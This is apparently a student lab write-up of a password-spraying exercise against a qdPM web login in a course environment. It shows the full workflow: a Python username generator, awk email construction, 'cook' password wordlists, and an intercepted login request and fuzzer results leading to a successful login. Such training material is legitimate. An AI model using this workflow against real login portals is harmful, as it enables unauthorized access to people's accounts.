

Password Spraying

The first step I took was to gather some names for username creation. My teammate Arcelia provided a long list of names she gathered from Ensign.edu. If I were to do this attack again in the future, I'd use a python web scraper. I then took that list and converted it to csv format with Excel.

```
#!/usr/bin/python3
#Example usage:
# scripName.py -i userlist.csv
import sys
import getopt
import csv

def main():
    inputfile = ''
    # Read the argument for the userlist file
    if len(sys.argv) < 2:
        print("Example usage: ./createUserList.py -i --userlistFile--")
        exit(1)
    else:
        opts, argv = getopt.getopt(sys.argv[1:], "i:")
        for opt, arg in opts:
            #Specify -i for the input parameter
            #This if function allows for different switches to be used
            if opt in ['-i']:
                inputfile = arg
                '''
                #Code errors out when try to use -h. Not sure why.
            elif opt in ['-h' or '--help']:
                print('Specify -i for the input parameter')
                print('Example usage: scripName.py -i userlist.csv')
                '''

        # Read in the columns for first and last name...
        # This is not built to have column header names...
        with open(inputfile) as csv_file:
            csv_reader = csv.reader(csv_file, delimiter=",")
            for row in csv_reader:
                firstname = row[0]
```

I then used the above script provided by the pcn3rd to convert the csv file to a list of possible usernames. I struggled for a while to get this script to work because I didn't understand the need for -i.

```
1  #!/usr/bin/python3
2
3  import sys
4  import getopt
5  import csv
6
7  def main():
8      inputfile = 'C:\Users\Jetfi\Desktop\usernameList.csv'
9      # Read the argument for the userlist file
10
11     with open(inputfile) as csv_file:
12         csv_reader = csv.reader(csv_file, delimiter=",")
13         for row in csv_reader:
14             firstname = row[0]
15             lastname = row[1]
16             # first.last
17             print(firstname + "." + lastname)
18             # first_last
19             print(firstname + "_" + lastname)
20             # f.last
21             print(firstname[0:1] + "." + lastname)
22             # first.l
23             print(firstname + "." + lastname[0:1])
24
25
26
27 if __name__=="__main__":
28     main()
```

Due to my confusion I tried to create a new script as shown above. I then watched the course instructional videos and realized I was missing -i. I then updated the original script to clarify the issue.

```
(agent22@ ks5) - [~/Documents/orange]
$ python3 ./usernameCreator.py -i usernameList.csv > usernameList03

(agent22@ ks5) - [~/Documents/orange]
$ cat usernameList03
Jill.Boss
Jill_Boss
J.Boss
Jill.B
Brandon.Bowen
Brandon_Bowen
B.Bowen
Brandon.B
Brandon.Bowen
Brandon_Bowen
B.Bowen
Brandon.B
Kenia.Cabral
Kenia_Cabral
K.Cabral
Kenia.C
Diego.Canaviri
Diego_Canaviri
D.Canaviri
Diego.C
Doug.Carlile
Doug_Carlile
D.Carlile
Doug.C
```

Above is shown the results of using the pcn3rd script correctly.

```
(agent22@ ks5)-[~/Documents/orange]
$ awk '$0=$0"@windomain.local"' usernameList03 > emailList02

(agent22@ ks5)-[~/Documents/orange]
$ cat emailList02
Jill.Boss@windomain.local
Jill_Boss@windomain.local
J.Boss@windomain.local
Jill.B@windomain.local
Brandon.Bowen@windomain.local
Brandon_Bowen@windomain.local
B.Bowen@windomain.local
Brandon.B@windomain.local
Brandon.Bowen@windomain.local
Brandon_Bowen@windomain.local
B.Bowen@windomain.local
Brandon.B@windomain.local
Kenia.Cabral@windomain.local
Kenia_Cabral@windomain.local
K.Cabral@windomain.local
```

Next, I used the awk command to append the email domain to the usernames.

```
1251 cook ensign 1900-2022
1252 cook 1900-2022 > years1900-2022
1254 cook summer,Summer,fall,Fall,winter,Winter,spring,Spring 1900-2022
1255 cook summer,Summer,fall,Fall,winter,Winter,spring,Spring,1900-2022
1256 cook summer,Summer,fall,Fall,winter,Winter,spring,Spring 1900-2022
1257 cook summer,Summer,fall,Fall,winter,Winter,spring,Spring 1900-2022 > seasonYear
1259 cook ensign,Ensign 1900-2022 > ensignYear
1261 cook ensign,Ensign 1-9 ?
1262 cook ensign,Ensign 1-9 ? > ensignx?
1270 cook qwerty,ytrewq,QWERTY 1-1000
1271 cook qwerty,ytrewq,QWERTY 1-1000,1234,4321
1273 cook qwerty,ytrewq,QWERTY 1-2000
1274 cook qwerty,ytrewq,QWERTY 1-2000 > qwertyxxxx
1276 cook qwerty,ytrewq,QWERTY,1qaz,2wsx,zaq1,xsv2,3edc,cde3,4rfv,vfr4,5tgb,bgt5,6yhn,nhy6,7ujm,mju7 1-2000
1277 cook qwerty,ytrewq,QWERTY,1qaz,2wsx,zaq1,xsv2,3edc,cde3,4rfv,vfr4,5tgb,bgt5,6yhn,nhy6,7ujm,mju7 1-2000 > keyboardPatterxxxx
1278 cook qwerty,ytrewq,QWERTY,1qaz,2wsx,zaq1,xsv2,3edc,cde3,4rfv,vfr4,5tgb,bgt5,6yhn,nhy6,7ujm,mju7,1234,4321,asdf,fdsa,jkl\;,\;lkj qwerty,ytrewq,QWERTY
```

I then found a powerful wordlist/password generation tool named cook. Using this tool, I created multiple wordlists meeting the criteria listed in the course instructional video.

```
(agent22@ ks5)-[~/Documents/customWordlists]
$ ll
total 208868
-rw-r--r-- 1 agent22 agent22 71325800 Jan 24 20:41 allCustomWordlists_20220124
-rw-r--r-- 1 agent22 agent22 71200157 Jan 24 20:42 allCustomWordlists_sortedUnq__20220124
drwxr-xr-x 2 agent22 agent22 4096 Jan 24 20:26 commands
-rw-r--r-- 1 agent22 agent22 324 Jan 24 20:26 'ensignx?'
-rw-r--r-- 1 agent22 agent22 2706 Jan 24 20:13 ensignYear
-rw-r--r-- 1 agent22 agent22 5037 Jan 24 20:24 keyboardPatterns
-rw-r--r-- 1 agent22 agent22 70944926 Jan 24 20:40 keyboardPatternsNumbers
-rw-r--r-- 1 agent22 agent22 299181 Jan 24 20:22 keyboardPatterxxxx
-rw-r--r-- 1 agent22 agent22 62679 Jan 24 20:20 qwertyxxxx
-rw-r--r-- 1 agent22 agent22 10332 Jan 24 20:11 seasonYear
-rw-r--r-- 1 agent22 agent22 615 Jan 24 20:09 years1900-2022
```

The wordlists are shown above. I then combined and sorted the wordlists into the top two files shown above.

```
(agent22@ ks5)-[~/Documents/customWordlists]
$ wc -l allCustomWordlists_sortedUnq__20220124
5319887 allCustomWordlists_sortedUnq__20220124
```

Using this combined wordlist and the email list I attempted to fuzz/brute force the login for qdpm. Unfortunately, this fuzz would have taken an excessive amount of time. As you can see in the above screenshot, I generated over five million unique passwords.

```
(agent22@ ks5) - [~/Documents/orange]
$ cat ensign* seasonYear > ../orange/passwordList01
```

Seeing that this first fuzz would take longer than was feasible, I created a much shorter password list. This list was composed of all the ensign and seasonYear based passwords.

```
(agent22@ ks5) - [~/Documents/orange]
$ wc -l passwordList01_unq
3266 passwordList01_unq

(agent22@ ks5) - [~/Documents/orange]
$ wc -l emailAddressList
172 emailAddressList

(agent22@ ks5) - [~/Documents/orange]
$ bc
bc 1.07.1
Copyright 1991-1994, 1997, 1998, 2000, 20
This is free software with ABSOLUTELY NO
For details type `warranty'.
3266*172
561752
```

While this list was significantly shorter, combined with the number of emails to fuzz the password spray would still over 500 thousand requests. I attempted this fuzz, but it was also taking an excessively long time.

```
(agent22@ ks5) - [~/Documents/orange]
$ wc -l passwordList_short
6 passwordList_short
```

I then created a password list based on the list used in the video. Using this list and the email list I fuzzed the qdpm website.

POST http://192.168.168.161:8020/index.php/login HTTP/1.1
Host: 192.168.168.161:8020
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Login%5Bcsrf_token%5D=9b84acf820941681173b16ebaa3f216d%
Login%5Bemail%5D=brailee.ogden@windomain.local%
Login%5Bpassword%5D=Winter2022%http_referer=
https%3A%2F%2F192.168.168.161%3A8020%2F

HTTP/1.1 302 Found
Date: Tue, 25 Jan 2022 05:35:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
<html><head><meta http-equiv="refresh" content="0;url=https://192.168.168.161:8020/"></head></html>

History Search Alerts Output WebSockets Fuzzer +

New Fuzzer Progress: 5: HTTP - http://192.168.161:8020/index.php/login NaN Current fuzzers:2

Messages Sent: 740 Errors: 0 Show Errors Export

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest...	State	Payloads
198	Fuzzed	302	Found	223 ms	780 bytes	100 bytes			brailee.ogden@windomain.local, Winte...
0	Original	302	Found	178 ms	372 bytes	114 bytes			
1	Fuzzed	302	Found	79 ms	372 bytes	114 bytes			adam.garland@windomain.local, Ensig...
2	Fuzzed	302	Found	197 ms	372 bytes	114 bytes			adam.garland@windomain.local, Ensig...
3	Fuzzed	302	Found	150 ms	372 bytes	114 bytes			adam.garland@windomain.local, winte...
4	Fuzzed	302	Found	123 ms	372 bytes	114 bytes			adam.garland@windomain.local, winte...
5	Fuzzed	302	Found	83 ms	372 bytes	114 bytes			adam.garland@windomain.local, winte...
6	Fuzzed	302	Found	78 ms	372 bytes	114 bytes			adam.garland@windomain.local, Winte...
7	Fuzzed	302	Found	88 ms	372 bytes	114 bytes			adam.garland@windomain.local, Ensig...
8	Fuzzed	302	Found	154 ms	372 bytes	114 bytes			adam.garland@windomain.local, Ensig...
9	Fuzzed	302	Found	109 ms	372 bytes	114 bytes			adam.garland@windomain.local, winte...

Current Scans 2 0 0 0 0 0 0 0 0 0

Using the password spray/fuzz I found a login for qdpm. In an actual penetration test this would have taken much longer, but the correct password was provided in the video.

Workspace

Welcome to qdPM

✉ brailee.ogden@windomain.local

🔒

●●●●●●●●●●

☐ Remember Me

Login

[Password forgotten?](#)

qdPM 9.1

Copyright © 2022 qdpm.net

Using the username and password found in the password spray I successfully logged into the qdpm web portal.

Workspace

Profile Icon

Profile Name

Dashboard

Projects

Tasks

Tickets

Discussions

Reports

Users

Configuration

Tools

qSPM Extended

No reports found to display on dashboard

Configure Dashboard